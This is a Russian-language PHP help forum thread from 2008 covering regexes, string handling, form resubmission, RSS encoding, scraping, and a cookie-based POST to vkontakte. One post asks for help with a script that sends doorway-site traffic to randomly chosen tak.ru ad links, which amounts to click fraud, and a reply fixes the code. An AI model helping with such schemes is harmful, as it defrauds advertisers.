Это фиктивная секция руководства, которая помогает программистам, ищущим описание unlink() или unset() в неверном месте.

См.также описания функции unlink(), служащей для удаления файлов или unset() - для удаления переменных.

Дикс
23.05.2008, 13:39
фиктивная секция.. че за чушь? я читал что это теперь даже зарезервированное слово. с какой целью?

groundhog
23.05.2008, 15:13
Дикс, ну какая разница зачем? Возможно в будущих версиях на это зарезервированное слово будет возложена какая-то функциональность...

На100ящий
23.05.2008, 18:02
Помогите составить регулярку с этой строки
<div class="tips" id="fader1"><h2>13</h2>14</div></div>
Нужно вытянуть "13"!!!??????

GreenBear
23.05.2008, 18:07
/\<h2\>(\d+)\<\/h2\>/

Звeрь
24.05.2008, 16:27
нужен человек который знал очень не плохо язык пхп нужно один код сделать под Proxy. с меня + :)

стучать в icq: 444383

dk-ne
25.05.2008, 13:00
Где можно найти методичку по php для новичка, в которой бы все необходимое описывалось в доступной форме?

Kaimi
25.05.2008, 13:07
Почитай например http://www.goldbook.ws/2007/06/04/php_v_primerakh_vkljuchaja_versiju_6.html

lomerok
25.05.2008, 13:17
Почему непечатается последнее слово ??


<?
$text="slovo1 slovo2 slovo3 slovo4";

while($s=strpos($text," ",$i))
{

$v=substr($text,$i,$s-strlen($text));

print "$v<br>";
$i=$s+1;
}

?>

astrologer
25.05.2008, 13:20
<?
$text="slovo1 slovo2 slovo3 slovo4";
echo str_replace(' ', '<br>', $text);
?>

lomerok
25.05.2008, 13:24
не , мне надо именно с substr i strpos

.:EnoT:.
25.05.2008, 13:51
lomerok зачем тебе такое безобразие? Если легче сделать как написал astrologer или например так:

<?php
$text = 'slovo1 slovo2 slovo3 slovo4';
$arr = explode(' ', $text);
echo implode('<br/>', $arr);
?>

или так:

<?php
$text = 'slovo1 slovo2 slovo3 slovo4';
$arr = explode(' ', $text);
foreach ($arr as $ar)
{
echo $ar.'<br/>';
}
?>

Добавлено:

Ток проснулся, сразу не допёр)
Твой код не работает потому что функция strpos() ищет вхождение подстроки по пробелу, а пробелов у тебя три, поэтому и возвращает 3 слова, которые разделены этими пробелами). Т.е. чтобы выводилось 4 слова нужно добавить пробел в самый конец.
вот:
<?php
$text = "slovo1 slovo2 slovo3 slovo4 ";
$i=0;
while($s=strpos($text," ",$i))
{

$v=substr($text,$i,$s-strlen($text));

print "$v<br>";
$i=$s+1;
}

?>

Но лучше так (т.к. твой кривоват):
<?php
$text = 'slovo1 slovo2 slovo3 slovo4 ';
for($i=0; $s=strpos($text," ",$i); $i=$s+1)
{
echo substr($text ,$i, $s - strlen($text)).'<br/>';
}
?>
Но лучше сделать с массивами как я привёл пример выше)

Zircool
26.05.2008, 00:59
Вообщем вот такая проблема, хочу сделать скрипт, использующий рекламу на моем сайта от tak.ru, что бы он выбирал ссылки а затем делал редирект на нужную нам страницу, на этот скрипт и хочу лить траф с дора, что бы не по одной постоянно ссылке народ шёл а выбирал из списка, ссылок предоставляемых tak.ru только вот проблема написал скрипт, но когда его запускаю, скрипт переходит не на линки рекламы а шлёт сюда http://www.tak.ru/ref.html#4



$googletext=file_get_contents('http://b180.takru.com/in.php?id=185284');
preg_match_all('#<a href="(\S+)" class="(.*?)" target=_top onclick="(.*?)">#i',$googletext,$zret);
$res=$zret[1][rand(0,10)]."<br>";
header("Location:".$res);


В чем может быть проблема, может редирект как нибудб по другому сделать... Жду ваших предложений.

DIAgen
26.05.2008, 02:45
Вообщем вот такая проблема, хочу сделать скрипт, использующий рекламу на моем сайта от tak.ru, что бы он выбирал ссылки а затем делал редирект на нужную нам страницу, на этот скрипт и хочу лить траф с дора, что бы не по одной постоянно ссылке народ шёл а выбирал из списка, ссылок предоставляемых tak.ru только вот проблема написал скрипт, но когда его запускаю, скрипт переходит не на линки рекламы а шлёт сюда http://www.tak.ru/ref.html#4



$googletext=file_get_contents('http://b180.takru.com/in.php?id=185284');
preg_match_all('#<a href="(\S+)" class="(.*?)" target=_top onclick="(.*?)">#i',$googletext,$zret);
$res=$zret[1][rand(0,10)]."<br>";
header("Location:".$res);


В чем может быть проблема, может редирект как нибудб по другому сделать... Жду ваших предложений.
1) убери "<br>" надо так $res=$zret[1][rand(0,10)];
2) Переход по рекламной ссылке был заблокирован.

Сервисом оплачиваются только естественные переходы.
Не оплачивается трафик из серфингов, клики из web-редакторов,
копий web-страниц, размещенных на персональных компьютерах,
клики через прокси, а также с сайтов из стоп-листа и т.д.

.Slip
26.05.2008, 19:45
Есть хтмл форма, туда сую данные, после результат работы скрипта выводится в текстарею. Но бля после рефреша страницы, этот результат там так же остаётся. И непонятно как ето убрать
<html>
<title>blablabla</title>
<body>
<form action="1.php" method="POST">
1: <input type="text" name="1" maxlength="5"/>
<br/>
2: <input type="text" name="2" maxlength="5"/>
<br/>
<br/>
<input type="submit"/>
</form>

<?php
$var1 = $_POST['1'];
$var2 = $_POST['2'];
$var3 = md5(md5($var1.$var2));

echo '<textarea cols="35" rows="4">'.$var3.'</textarea>';
$var3 = '';
?>

</body>
</html>
Пробовал isset'om и empty проверять изначалньо переменные, но ето не то. =\

groundhog
26.05.2008, 20:04
Дело в том, что у тебя значение переменной $var3 будет определено всегда... Если у тебя отключены нотисы (PHP не будет выдавать предупреждения, что ты используешь не инициализированные переменные), то не смотря на то, что ты не фига не передал от формы, функция md5 будет выполнена от пустой строки, а следовательно, внутри textarea всегда будет какое-то значение.

Если я правильно понял, то тебе нужен такой код:

<html>
<title>blablabla</title>
<body>
<form method="POST">
1: <input type="text" name="1" maxlength="5"/>
<br/>
2: <input type="text" name="2" maxlength="5"/>
<br/>
<br/>
<input type="submit"/>
</form>

<?php
$var1 = @$_POST['1'];
$var2 = @$_POST['2'];

if (!empty($var1) && !empty($var2))
echo '<textarea cols="35" rows="4">'.md5(md5($var1.$var2)).'</textarea>';
?>

</body>
</html>

.Slip
26.05.2008, 20:11
groundhog, могу снять видео (в действительности не могу, ибо надо качать софт для этого), как с твоим же кодом происходит полностью аналогичный результат.

>> <gemaglabin> слип, рефреш остается тк при нажатии ф5 ты опять отсылаешь данные

Может всё таки гема и прав. Но я хз как ето исправить

groundhog
26.05.2008, 20:27
Если ты мой скрипт после отправки данных будешь рефрешить Через F5, то ясен пень, он повторно будет отправлять данные... Надеюсь, на этот раз я тебя правильно понял:

<?php

session_start();

if (isset($_POST['1']) && isset($_POST['2'])) {
$var1 = $_POST['1'];
$var2 = $_POST['2'];

$_SESSION['md5'] = md5(md5($var1.$var2));

header('Location: ' . basename(__FILE__));
exit();
}

?>
<html>
<title>blablabla</title>
<body>
<form method="POST">
1: <input type="text" name="1" maxlength="5"/>
<br/>
2: <input type="text" name="2" maxlength="5"/>
<br/>
<br/>
<input type="submit"/>
</form>

<?php

if (isset($_SESSION['md5']) && !empty($_SESSION['md5'])) {
echo '<textarea cols="35" rows="4">'.$_SESSION['md5'].'</textarea>';
$_SESSION['md5'] = '';
}
?>

</body>
</html>
То?

.Slip
26.05.2008, 20:29
Да, то. Спс

d_x
26.05.2008, 20:32
Опоздал, но как вариант:)

<?php
session_start();
$rn=mt_rand();
?>
<html>
<title>blablabla</title>
<body>
<form method="POST">
1: <input type="text" name="1" maxlength="5"/>
<br/>
2: <input type="text" name="2" maxlength="5"/>

<input type="hidden" name="randnum" value="<?=$rn ?>">

<br/>
<br/>
<input type="submit"/>
</form>

<?php
$var1 = isset($_POST['1']) ? $_POST['1'] : '';
$var2 = isset($_POST['2']) ? $_POST['2'] : '';

$rn2=isset($_POST['randnum']) ? $_POST['randnum'] : '';

if(!isset($_SESSION['rnum']) || $_SESSION['rnum']!=$rn2)
{
if (!empty($var1) && !empty($var2))
echo '<textarea cols="35" rows="4">'.md5(md5($var1.$var2)).'</textarea>';

$_SESSION['rnum']=$rn2;
}

?>

</body>
</html>

Shadow_p1raT
27.05.2008, 09:57
Всем привет!начал писать сегодня свой rss reader и cразуже столкнулся с проблемой.

<?php
$rss=simplexml_load_file('http://www.test1.ru/Joomla/index.php?option=com_rss&feed=RSS2.0&no_html=1');
$title = $rss->channel->title;
?>
<html xml:lang="en" lang="en">
<head>
<title><?php echo $title; ?></title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php
foreach ($rss->channel->item as $item) {
echo "<h2><a href='". $item->link. "'>". $item->title. "</a></h2>";
echo "<p>". $item->description. "</p>";
}
?>
</body>
</html>

Английский текст выводится нормально а русский примерно так
начала, РѕРЅР° РЅРµ сложна. Joomla! была разработана для С?РёСЂРѕРєРѕР№ публики. РћРЅР° распространя µС‚СЃСЏ Р
Подскажите пожалуйста как сделать что бы русский текст нормально выводился?
Зарание спасибо!

d_x
27.05.2008, 10:18
Попробуй перед тегом <title> вставить

<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
или
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

А вообще, rss может передаваться в любой кодировке, которая описывается в теге
<?xml version="1.0" encoding="кодировка" ?>

NOmeR1
27.05.2008, 10:19
<?php
$rss=simplexml_load_file('http://www.test1.ru/Joomla/index.php?option=com_rss&feed=RSS2.0&no_html=1');
$title = $rss->channel->title;
?>
<html xml:lang="en" lang="en">
<head>
<title><?php echo $title; ?></title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php
foreach ($rss->channel->item as $item) {
echo "<h2><a href='". $item->link. "'>". iconv("UTF-8", "WINDOWS-1251", $item->title). "</a></h2>";
echo "<p>". iconv("UTF-8", "WINDOWS-1251", $item->description). "</p>";
}
?>
</body>
</html>

Так?

Shadow_p1raT
27.05.2008, 10:25
Всем спасибо,всё получилось.

truelamer
27.05.2008, 15:50
Срочно нужна помощь!!!!

http://gz.sko.kz/Default.aspx?org_id=41301

После не большой регистрации появляется возможность доступа к обьявлениям.

и эти собаки грузят обьявления аяксом. Я запарился искать куда какие параметры надо передать или как нить пересоставить запрос чтоб послать заголовки и чтоб мне пришол ответ ввиде обьявлений которые я смог бы пропарсить

drive_pan
27.05.2008, 16:31
"Для редактирования внешнего вида меню необходимо создать файл .CSS и связать его с index.html; в файле CSS необходимо создать класс smp_main ."
Что это значит ??? Прошу сильно не пинать, первый раз столкнулся, может есть какие доки почитать ??? Решил создать WAP сайт по продаже мультимедии через SMS? Дали готовый скрипт Wap Adult Power, а оформить его не получается !!!

FeraS
27.05.2008, 16:40
drive_pan
Для редактирования внешнего вида меню необходимо создать файл .CSS и связать его с index.html
в index.html между тегов <head></head> вписываешь:
<link rel="stylesheet" type="text/css" href="адрес к файлу стилей" />

в этом файле пишешь:

.smp_main {}

Интересно:
http://stepbystep.htmlbook.ru/?id=43


А вообще такие вопросы в соседнюю тему http://forum.antichat.ru/lastpostinthread43254.html

Buffalon
27.05.2008, 20:57
Короче препод зверь и просит без использования массива как реалезовать?Он говорит надо типа напрямю с буфером... ВОт.

<style type="text/css">
<!--
.N { background-color:white; }
.C { background-color:#FFFFBB; }
.A { background-color:#BBFFBB; }
.D { background-color:#FFBBBB; }
-->
</style>
<?
if(!empty($_POST[submit])&&!empty($_POST[file1])&&!empty($_POST[file2]))
{
$file1=$_POST[file1];
$file2=$_POST[file2];


$file1=fopen($file1,'rb');
$file2=fopen($file2,'rb');

for($a=0;$file3=fgets($file1);$a++)
{
$text1[$a]=$file3;
}

for($a=0;$file4=fgets($file2);$a++)
{
$text2[$a]=$file4;
}

}
?>
<table width=100% height=20% border=0 ><tr><td>
<form method='POST' align=right>
file1:<input type=text name='file1'>
file2:<input type=text name='file2'>
<input type=submit name=submit>
</form>
</td></tr></table>


<table bgcolor="white" border="1" cellpadding="1" cellspacing="1" width="100%">
<tr bgcolor="#eeeeee">
<td width=50%>
old version<br>
<?echo $_POST[file1];?>
</td>
<td>
new version<br>
<?echo $_POST[file2];?>
</td>
</tr>
</table>
<br>
<!-- by Mylenka-->
<?
for($a=0;count($text1)>$a;$a++)
{

if(strcasecmp($text1[$a],$text2[$a])==0)
{
print '<table bgcolor="#000000" border="0" cellpadding="1" cellspacing="1" width="100%">';
print '<tr bgcolor="#eeeeee">';
print '<td style="color: rgb(136, 136, 136); font-family: Courier New,Helvetica,sans-serif; font-size: 8pt;" bgcolor="white">';
echo '<font color=red>'. $a .'</font> ';
echo $text1[$a];
print '</td><td style="color: rgb(136, 136, 136); font-family: Courier New,Helvetica,sans-serif; font-size: 8pt;" bgcolor="white">';
echo '<font color=red>'. $a .'</font> ';
echo $text2[$a];
print'</td></tr></table>';
}
else
{
print '<table bgcolor="#000000" border="0" cellpadding="1" cellspacing="1" width="100%" >';
print '<tr style="color: rgb(0, 0, 0);" bgcolor="#eeeeee">';
print '<td class="C" width=50% style="color: rgb(136, 136, 136); font-family: Courier New,Helvetica,sans-serif; font-size: 8pt;" bgcolor="white">';
echo '<font color=red>'. $a .'</font> ';
echo $text1[$a];
print '</td><td class="C" style="color: rgb(136, 136, 136); font-family: Courier New,Helvetica,sans-serif; font-size: 8pt;" bgcolor="white">';
echo '<font color=red>'. $a .'</font> ';
echo $text2[$a];
print'</td></tr></table>';
}

}
?>

astrologer
27.05.2008, 22:01
Короче препод зверь и просит без использования массива как реалезовать?Он говорит надо типа напрямю с буфером... ВОт.Что реализовать?

Buffalon
27.05.2008, 22:57
Вот это всё нужно реалезовать без массивов... .Нужно как то работать напрямую с буфером...

Takesoul
28.05.2008, 14:11
Полагаю, что это будет пхп- нужно чтобы на моем сайте для определенного ip страница выглядела другой (не редирект, а именно эта же страница)...Кто поможет, как это реализовать?

Ponchik
28.05.2008, 14:23
<?php
$ips = array('211.43.65.87','24.65.77.32');
if(in_array($_SERVER['REMOTE_ADDR'],$ips)) {
echo 'Ваш IP есть у нас всё норм, бла бла бла, тут можно Include() и будет другая пага';
}else{
echo 'Убейсо';
}
?>

Buffalon, чё за пропод, у вас в школе PHP уроки штоле есть... Сомневаюсь, а если ты ходиш на курсы, то это тебе в первую очередь надо, никто тебя не заставлял и не зачем просить чтоб за тебя другие сделали, ты для того на курсы и ходиш чтоб сам учился (это тоько если на курсы, а если в школе то я непонял чё тебе надо там ез массивов :) )

Buffalon
28.05.2008, 14:46
Всё ,всем сори ... .Тока щас понял его мысли... .Тоесть он хотел напрямую .Хех а какая разница... .

Isis
28.05.2008, 16:37
echo $_SERVER['REMOTE_ADDR'];// Myip

Buffalon
28.05.2008, 21:17
Как сравнить 1 слово в 1 файле со всем 2 файлом?ЗАтем 2 слово ..итд... .Додумался тока до
$file3=file_get_contents($file1);
$file4=file_get_contents($file2);
$file3=str_replace("\n",' ',$file3);
$file3=str_replace("\r",' ',$file3);
$file3=str_replace(",",' ',$file3);
Без использовани(array функций)
ВСё оК.. .Сам сделал

<?
if(!empty($_POST[submit])&&!empty($_POST[file1])&&!empty($_POST[file2]))
{


$file1=$_POST[file1];
$file2=$_POST[file2];
$file5=fopen($file1,'rb');
$file6=fopen($file2,'rb');



}
?>
<table width=100% height=20% border=0 ><tr><td>
<form method='POST' align=right>
file1:<input type=text name='file1'>
file2:<input type=text name='file2'>
<input type=submit name=submit>
</form>
</td></tr></table>


<table bgcolor="white" border="1" cellpadding="1" cellspacing="1" width="100%">
<tr bgcolor="#eeeeee">
<td width=50%>
old version<br>
<?echo $_POST[file1];?>
</td>
<td>
new version<br>
<?echo $_POST[file2];?>
</td>
</tr>
</table>
<br>
<!-- by Mylenka-->
<?
if(!empty($_POST[submit]))
{
//while(!feof($file3))
//{


while($f=fread($file5,1))
{if($f=="\n" or $f=="\r" or $f=="." or $f=="," or $f=="/"){$f=' ';}
$s .= $f;$num1=ftell($file5);
if($f==' ')
{if($s==' '){continue;}fseek($file6,0,SEEK_SET);
while($j=fread($file6,1))
{if($j=="\n" or $j=="\r" or $j=="." or $j=="," or $j=="/"){$j=' ';}
$t .= $j;$num2=ftell($file6);
if($j==' ' or $j=="\r")
{
if($s==$t){echo $num1.'<font color=red>cимвол =></font>'. $s .'<font color=red>совпадает с </font>'.$num2.'<br>'; }$t=NULL;
}
}$s=NULL;
}
}
}
?>
<b><br><font color="black" size="-2">MYLENKA</font></b>Эт кому итересно

dk-ne
29.05.2008, 00:38
Как считаете, учиться php лучше прочитав кучу учебников или писать php и обращаться при этом к учебникам. Подскажите лучший способ, который использовали вы.

ZET36
29.05.2008, 04:45
dk-ne легче конешно писать пхп и обращаться к учебникам но правильней конешно было сначало прочитать учебники, но вот в чом загвоздка, ты например хочеш научится работать с скоетами а в учебнике перед этим например идёт целая статья страниц так на 20 про историю сокетов кто их придумал итд. и прочий ненужный мусор, хотя смотря какие учебники вот например хорошие пособие http://lv2.php.net ищеш какую тебе нужно функцию там всё в примерах и довольно хорошее описание, жаль что такого нет для перла (в cpan некоторые примеры написаны неправильно и неторорые наработают)

ZET36
29.05.2008, 04:51
Вот хочу написать скрипт отправляющий сообщение пользователю в контакте

но возникает ошибка 400 Bad Request (плохой запрос) , в чом я ошибся, и правильно ли я передаю с запросом куки

<?php
$hostname = "vkontakte.ru";
$path = "mail.php";
$line = "";
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);

if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
$data=
"secure=3ae6&chas=2859c6c7e5424149fb&photo=794085ax&to_id=5450663&to_reply=126933148&act=sent&title=[бла бла]&message=[бла бла].+\r\n";

$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
$headers .= "Cookie: remixchk=5; remixmid=5427502; remixemail=[бла бла]; remixpass=[бла бла]\r\n";

fwrite($fp, $headers.$data);

while (!feof($fp))
{
$line .= fgets($fp, 1024);

}
fclose($fp);
}
echo $line;
?>

Isis
29.05.2008, 05:02
$path = "http://vkontakte.ru/mail.php";

ZET36
29.05.2008, 05:39
всёравно выскакивает ошибка

HTTP/1.1 302 Found Server: nginx/0.5.35 Date: Thu, 29 May 2008 01:38:34 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive X-Powered-By: PHP/5.2.0-8+etch11 Pragma: no-cache Cache-control: private, must-revalidate Set-Cookie: remixchk=5; expires=Fri, 29-May-2009 01:38:34 GMT; path=/; domain=.vkontakte.ru Location: login.php?u=1 Content-Length: 0

400 Bad Request

(скрипт висит на денвере)

d_x
29.05.2008, 08:18
Во-первых, после всех заголовков необходимы ещё символы "\r\n".
Во-вторых, 302 - это не ошибка, а редирект.

//...
$headers .= "Cookie: remixchk=5; remixmid=5427502; remixemail=[бла бла]; remixpass=[бла бла]\r\n\r\n";
//...

ZET36
29.05.2008, 09:10
у меня 400 а не 302))

groundhog
29.05.2008, 10:12
У тебя ошибка в этом фрагменте кода:

$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
$headers .= "Cookie: remixchk=5; remixmid=5427502; remixemail=[бла бла]; remixpass=[бла бла]\r\n";
или поменяй местами эти строки, или убери двойной перевод строки в верхней, и добавь в нижней, то есть, приведи к такому виду:

$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Cookie: remixchk=5; remixmid=5427502; remixemail=[бла бла]; remixpass=[бла бла]\r\n\r\n";
В POST-данных, передавать \r\n не нужно...

Blad94
29.05.2008, 10:44
Помогите пожалуйста вот у меня код $s = preg_replace("...","func($1)",$s); я хочу что бы функция обработала найденное регулярным выражением а она обрабатывает $1.как тут быть. Спасибо, извините за корявый язык

d_x
29.05.2008, 10:47
Нужно использовать preg_replace_callback()
http://ru2.php.net/manual/ru/function.preg-replace-callback.php

groundhog
29.05.2008, 10:47
$s = preg_replace("...","func(\\1)",$s);
Правда, если найденный элемент это строка, то разумеется, должно быть соблюдение семанитики вызова функции:

$s = preg_replace("...","func('\\1')",$s);

Blad94
29.05.2008, 10:48
Спасибо большое за быстрый и самое главное правильный ответ

Gadik
29.05.2008, 13:48
Помогите пожалуйста, споткнулся наверняка на какой-то ерунде(((
есть код:
<?php
$micro=microtime(true);
$site="http://www.pfts.com/uk/moreinformation/avto/";
$open=file_get_contents($site,"r");
$date=date("d.m.y");

while($fp=fgets($open,500))
{

if(strpos($fp,">Best Bid, грн.&nbsp;<") !==false)
{
preg_match('(\d+)',$fp,$p);
echo "$p[0]<br>";
echo "$fp";
break;
}
}
echo "<br>$micro";
?>
<table border=1 bordercolor=red>
<tr>

<td>
<?=$date?>
</td>

<td>
<?=$p[0]?>
</td>

<td>
IFPILO
</td>


</tr></table>
?>

по идее должен брать значение 523.0000 после в строке начинающийся с ">Best Bid, грн.&nbsp;<"

кусок оригинала страницы:
</tr>

<tr>
<th>Best Bid, грн.&nbsp;</th>
<td>523.0000&nbsp;</td>

</tr>
<tr>
<th>Best Bid Day's Range&nbsp;</th>
<td class="more_info_bg">493.0000 — 527.0001&nbsp;</td>
</tr>
<tr>

но именно число 523.0000 не вытягивает, вообще пустая переменная выводится.
Помогите, в чем моя ошибка?

groundhog
29.05.2008, 13:56
Обрати внимание, что вызов:

$open=file_get_contents($site,"r");
заносит в переменную $open строку, в то время как вызов:
$fp=fgets($open,500)
ожидает в качестве первого параметра ресурс файлового потока, обычно открываемого через вызовы fopen() или fsockopen(). Вот из этой задницы и растут руки твоей проблемы.

Gadik
29.05.2008, 14:05
дело в том, что этот скрипт я переделал другого, поменял только адрес сайта. старый работал.

итак, не совсем понял, что мне нужно сделать?

Gadik
29.05.2008, 14:08
заменить fgets на fopen?

groundhog
29.05.2008, 14:12
Я не верю, что старый скрипт работал, если ты поменял только урлу... Самый простой вариант в твоём случае - убрать цикл while и вести поиск в переменной $open, т.к. она в себе будет содежать контент удалённого ресурса. То есть убери цикл и вместо $fp используй $open.

Gadik
29.05.2008, 14:14
понял, спс. буду пробовать. а старый работал и работает. это 100%.я проверял раз 20, не мог понять почему там работает, а там нет(

groundhog
29.05.2008, 14:16
Покажи исходник этого фрагмента на старом скрипте - чисто с профессиональной точки зрения интересно...

Gadik
29.05.2008, 14:28
<?php
$micro=microtime(true);
$site="http://bank.gov.ua/Fin_ryn/OF_KURS/Currency/FindByDate.aspx";
$open=fopen($site,"r");
$date=date("d.m.y");

while($fp=fgets($open,300))
{

if(strpos($fp,">EUR</td><td align=") !==false)
{
preg_match('(\d+)',$fp,$p);
echo "$p[0]<br>";
echo "$fp";
break;
}
}
echo "<br>$micro";
?>


он правда не то число ищет что надо, потому что неправильно указана позиция. но факт что ищет

groundhog
29.05.2008, 14:38
Ну так ты обрати внимание, что тут файловый поток получается в результате вызова:

$open=fopen($site,"r");

Gadik
29.05.2008, 14:40
да-да, я то мне на другом форуме посоветовали попробовать. раньше было fopen. не работает.

Gadik
29.05.2008, 14:48
я вот тут что-то сообразил, посмотри пожалуйста:
<?php
$micro=microtime(true);
$site="http://www.pfts.com/uk/moreinformation/avto/";
$open=fopen($site,"r");
$date=date("d.m.y");


if(strpos($fp,">Best Bid, грн.&nbsp;<") !==false)
{
preg_match('(\d+)',$open,$p);
echo "$p[0]<br>";
echo "$open";
break;
}

/*
echo "<br>$micro";
*/

echo "$p";
echo "<br>$p[0]";
echo "<br>$p[1]";
echo "<br>$p[2]";
echo "<br>$open[0]";
echo "<br>$open[1]";
echo "<br>$open[2]";

?>

что не так? а из-за регулярки может не находить?

Gadik
29.05.2008, 14:51
кстати, вывел на печать $open и вот что выводит:
Resource id #2

там на сайте такой строки вообще нету

groundhog
29.05.2008, 15:03
Gadik, или бросай курить траву, или прочитай маны по теме функций fopen и file_get_contents... Без понимания с твоей стороны того, что делают эти функции - мои объяснения будут бессмысленны...

Gadik
29.05.2008, 15:10
та млин, либо тупо написано часто, заумными словами, явно не для начинающих. хер поймешь. если б кто объяснил

groundhog
29.05.2008, 15:14
Ок. Ознакомься с описанием функций:

http://ru2.php.net/manual/ru/function.fopen.php
http://ru2.php.net/manual/ru/function.file-get-contents.php

Скажи какая формулировка тебе не понятна?

Gadik
29.05.2008, 15:21
закрепляет ресурс за потоком - что значит поток тут? тут просто переменной задется url или его содержание?

содержимое файла возвращается в строке - что тут имеется ввиду? одну строчку только гребет?

вот эти моменты бы понять. спс!

groundhog
29.05.2008, 15:26
закрепляет ресурс за потоком - буквально означает, создаётся некоторый внутренний объект PHP (ресурс), который идентифицирует файл с которым ты работаешь. Через этот объект ты можешь осуществлять операции чтения-записи (смотря в каком режиме был открыт файл). В переменной можно задавать как имя локального файла, так и имя удалённого файла (но нужно чтобы параметр allow_url_fopen в PHP был установлен в On).

содержимое файла возвращается в строке - возвращается ПОЛНОЕ содержимое файла. Возвращается весь запрошенный файл.

Gadik
29.05.2008, 15:32
ок. спс.
в связи с этим переделал скрипт так:
<?php
$micro=microtime(true);
$site="http://www.pfts.com/uk/moreinformation/avto/";
$open=file_get_contents($site,"r");
$date=date("d.m.y");

if(strpos($open,">Best Bid, грн.&nbsp;</th><td>")) {
$p = substr($open, 0, 6);
echo "p00=$p[0]<br>";
echo "open0=$open";
} else {echo "NO";}



echo "p=$p<br>";
echo "p0=$p[0]<br>";
echo "p1=$p[1]<br>";
echo "p2=$p[2]<br>";
// echo "open=$open<br>";

?>

только не совсем еще понял как поиск сделать. но вроде я его реализовал.
только похоже на то, что искомая строка ">Best Bid, грн.&nbsp;</th><td>" вообще не найдена в $open. как так? если она там есть?

Gadik
29.05.2008, 15:46
<?php
$micro=microtime(true);
$site="http://www.pfts.com/uk/moreinformation/avto/";
$open=file_get_contents($site,"r");
$date=date("d.m.y");

$stroka=">Best Bid, грн.&nbsp;</th>
<td>";
$pos = strpos($open,$stroka);
if($pos !===false) {
$p = substr($open, $pos, 6);
echo "p00=$p[0]<br>";
echo "open0=$open";
} else {echo "NO";}



echo "p=$p<br>";
echo "p0=$p[0]<br>";
echo "p1=$p[1]<br>";
echo "p2=$p[2]<br>";
// echo "open=$open<br>";

?>

вот уже с меньшим кол-во ошибок. но они еще есть(((

На100ящий
29.05.2008, 15:57
Помогите с регуляркой...
<title>Приват Консалтинг - любой текст</title> нужно с этой строки вытягивать "любой текст".????

Gadik
29.05.2008, 16:08
groundhog, спасибо за помощь. я все уже сделал. все работает =)))

d_x
29.05.2008, 16:27
На100ящий

<?php
$txt="<title>Приват Консалтинг - любой текст</title>";

preg_match("/<title>Приват Консалтинг \- (.+)<\/title>/iUs",$txt,$matches);

print $matches[1];
?>

Naydav
29.05.2008, 16:31
На100ящий
$string = "<title>Приват Консалтинг - любой текст</title>";
ereg('<title>Приват Консалтинг - (.*)</title>', $string, $reg);
echo $reg[1];

Gadik
29.05.2008, 16:47
Помогите пожалуйста с регуляркой. нужно из строки вытащить тольцо цифру:

<td>523.0000&nbsp;</td>

Gadik
29.05.2008, 16:51
Помогите еще пожалуйста с синтаксисом:

$site = "http://www.pfts.com/uk/moreinformation/".$tiker[i]."/";

$tiker[i] - массив.

перепробовал по-разному =(
какая здесь ошибка?

Naydav
29.05.2008, 16:55
Помогите пожалуйста с регуляркой. нужно из строки вытащить тольцо цифру:

<td>523.0000&nbsp;</td>
$string = "<td>523.0000&nbsp;</td>";
ereg('<td>([0-9]{0,}.[0-9]{0,})&nbsp;</td>', $string, $reg);
echo $reg[1]

Naydav
29.05.2008, 16:56
Помогите еще пожалуйста с синтаксисом:

$site = "http://www.pfts.com/uk/moreinformation/".$tiker[i]."/";

$tiker[i] - массив.

перепробовал по-разному =(
какая здесь ошибка?
$site = "http://www.pfts.com/uk/moreinformation/".$tiker[i]."/";
i - неопределено

правильно

$site = "http://www.pfts.com/uk/moreinformation/".$tiker[$i]."/";

d_x
29.05.2008, 16:57
Ответ на первый вопрос:
$txt="<td>523.0000&nbsp;</td>";

preg_match("/<td>([\.\d]+)&nbsp;<\/td>/iUs",$txt,$matches);

print $matches[1];

Ответ на второй:
$site = "http://www.pfts.com/uk/moreinformation/".$tiker[$i]."/";

Gadik
29.05.2008, 17:03
Naydav, да, точно! гоню. СПАСИБО! мин 20 уже парюсь. =)

Gadik
29.05.2008, 17:05
d_x, а как упростить, если строка = цифра&nbsp;

а может иногда даже и так:

строка = цифра&nb .т.е ол пробела чтоли...

d_x
29.05.2008, 17:10
Будет выдирать из строки цифру (которая может быть с точкой или без).
$txt="523.0000&nb";

preg_match("/(\d+(\.\d+)?)/is",$txt,$matches);

print $matches[1];

Gadik
29.05.2008, 17:13
ок. спасибо. все очень оперативно =)